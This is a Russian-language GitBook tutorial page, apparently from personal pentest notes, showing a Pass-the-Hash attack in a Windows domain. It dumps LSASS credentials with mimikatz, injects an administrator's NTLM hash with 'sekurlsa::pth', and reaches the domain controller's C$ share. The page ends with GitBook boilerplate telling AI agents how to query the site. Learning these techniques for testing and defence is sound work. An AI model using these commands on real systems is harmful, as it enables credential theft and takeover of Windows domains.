> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/active-directory/lateral-movement/pass-the-hash-on-windows.md).

# Pass-the-Hash в Windows

Если машина подключается к SMB-общему ресурсу по IP-адресу вместо имени хоста, аутентификация часто проходит через NTLM.

Пример:

```powershell
dir //172.16.0.10/c$
```

<figure><img src="/files/c976e2f08f7400dd060f6a44b6b78ae859d94430" alt="" width="563"><figcaption></figcaption></figure>

{% hint style="info" %}
NTLM (NT LAN Manager) — это набор протоколов безопасности, разработанный Microsoft. Он в основном позволяет аутентифицировать пользователей в компьютерной сети, то есть проверять их личность, когда они пытаются получить доступ к компьютеру, серверу или общей папке. NTLM работает путем обмена зашифрованной информацией между пользователем и сервером, чтобы избежать прямой передачи пароля по сети. Хотя он давно используется в средах Windows, этот протокол сейчас постепенно заменяется Kerberos, который считается более безопасным и более эффективным.
{% endhint %}

Из `WS01`, мы видим, что доступ зависит от контекста, уже загруженного в память.

Здесь не запрашивается новая аутентификация, потому что процесс повторно использует секреты, уже присутствующие в `LSASS`.

```bash
 dir //172.16.0.10/c$
```

<figure><img src="/files/4f2f253a6d6f2560b08e28c6fa63d58437cb2532" alt=""><figcaption></figcaption></figure>

Затем мы можем внедрить NTLM-хэш другой учетной записи, например `administrador`.

```bash
./mimikatz.exe

sekurlsa::logonpasswords
```

<figure><img src="/files/20fb76ce71147cd724c99128332bbc837dd9627f" alt=""><figcaption></figcaption></figure>

С `mimikatz`, мы запускаем Pass-the-Hash.

```bash
sekurlsa::pth /user:administrador /domain:whoami.local /ntlm:a87f3a337d73085c45f9416be5787d86
```

Открывается новая консоль в контексте этой учетной записи.

Затем мы можем получить доступ к ресурсам контроллера домена с этой учетной записью.

```powershell
dir //172.16.0.100/c$
```

<figure><img src="/files/f5281e877841c1a45f6d7fe06761fc3b3b5f4808" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/active-directory/lateral-movement/pass-the-hash-on-windows.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
